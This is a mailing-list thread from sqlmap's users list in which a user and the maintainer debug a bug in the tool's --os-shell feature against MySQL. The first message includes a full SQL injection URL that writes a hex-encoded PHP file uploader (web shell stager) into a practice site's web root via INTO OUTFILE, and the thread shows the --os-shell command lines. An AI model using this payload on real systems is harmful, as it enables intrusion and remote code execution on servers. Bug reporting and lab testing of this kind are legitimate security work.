Just clone git and got 1.0-dev-166dc98 version but got a unhandled
exception error:

./sqlmap.py -u
http://OwaspPractice/injection/lessons/lesson03/index.php?code=N --os-shell
--prefix "\")"  --flush-session -v3

/sqlmap'. If the exception persists, please open a new issue at '
https://github.com/sqlmapproject/sqlmap/issues/new' with the following text
and any other information required to reproduce the bug. The developers
will try to reproduce the bug, fix it accordingly and get back to you
sqlmap version: 1.0-dev-166dc98
Python version: 2.7.3
Operating system: posix
Command line: sqlmap.py -u
*********************************************************************
--os-shell --prefix ") --flush-session -v3
Technique: None
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "sqlmap.py", line 102, in main
    start()
  File "lib/controller/controller.py", line 514, in start
    injection = checkSqlInjection(place, parameter, value)
  File "lib/controller/checks.py", line 391, in checkSqlInjection
    reqPayload = agent.payload(place, parameter, newValue=boundPayload,
where=where)
  File "lib/core/agent.py", line 188, in payload
    retVal = _(regex, "%s=%s" % (parameter,
self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
AttributeError: 'NoneType' object has no attribute 'replace'


On Sat, Jul 4, 2015 at 3:43 PM, Miroslav Stampar <miroslav.stam...@gmail.com
> wrote:

> I believe that you are using an old revision. For a long time there is at
> least a git revision or a pseudo "non-git" number appearing when "sqlmap
> --version" is being used.
>
> Please update to the latest revision from the official github repository
> and rerun the sqlmap.
>
> Bye
>
> On Sun, Jul 5, 2015 at 12:41 AM, Danux <dan...@gmail.com> wrote:
>
>> Thanks
>>
>> sqlmap --version
>> sqlmap/1.0-dev
>>
>> In the meantime I will patch procs/mysql/write_file_limit.sql
>>
>>
>>
>>
>> On Sat, Jul 4, 2015 at 3:40 PM, Miroslav Stampar <
>> miroslav.stam...@gmail.com> wrote:
>>
>>> Which revision/version of sqlmap do you use? There has been a related
>>> patch a month ago. Will check tomorrow.
>>>
>>> Bye
>>>
>>> On Sun, Jul 5, 2015 at 12:33 AM, Danux <dan...@gmail.com> wrote:
>>>
>>>> Hello list, there is an issue with sqlmap when using the --os-shell
>>>> option in version sqlmap/1.0-dev and MySQL: 5.5.35-0+wheezy1 (Debian)
>>>>
>>>> Description:
>>>>
>>>> A specific PAYLOAD (see below) used to upload a web shell will create
>>>> an empty file e.g. tmpbezff.php, this will cause that every subsequent
>>>> PAYLOAD attempt will fail with an "already exist" error and therefore not
>>>> able to upload the web shell.
>>>>
>>>>
>>>> http://OwaspPractice/injection/lessons/lesson03/index.php?code=NTGRWNR%22%29%20LIMIT%200,1%20INTO%20OUTFILE%20%27/var/www/OwaspPractice/upload/tmpupjed.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f4f7761737050726163746963652f75706c6f61643e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--+
>>>>
>>>> By default, MySQL will throw an error if the file already exists:
>>>>
>>>> mysql> select 'ss' into outfile
>>>> '/var/www/OwaspPractice/upload/tmpbezff.php';
>>>> ERROR 1086 (HY000): File '/var/www/OwaspPractice/upload/tmpbezff.php'
>>>> already exists
>>>>
>>>> Solution:
>>>>
>>>> 1. Change the web shell name for every new PAYLOAD attempt, at least
>>>> when using the -os-shell option
>>>> 2. Fix the PAYLOAD causing problems.
>>>>
>>>> --
>>>> DanUx
>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> Don't Limit Your Business. Reach for the Cloud.
>>>> GigeNET's Cloud Solutions provide you with the tools and support that
>>>> you need to offload your IT needs and focus on growing your business.
>>>> Configured For All Businesses. Start Your Cloud Today.
>>>> https://www.gigenetcloud.com/
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>> sqlmap-users@lists.sourceforge.net
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>
>>>>
>>>
>>>
>>> --
>>> Miroslav Stampar
>>> http://about.me/stamparm
>>>
>>
>>
>>
>> --
>> DanUx
>>
>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
DanUx
------------------------------------------------------------------------------
Don't Limit Your Business. Reach for the Cloud.
GigeNET's Cloud Solutions provide you with the tools and support that
you need to offload your IT needs and focus on growing your business.
Configured For All Businesses. Start Your Cloud Today.
https://www.gigenetcloud.com/
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users

Reply via email to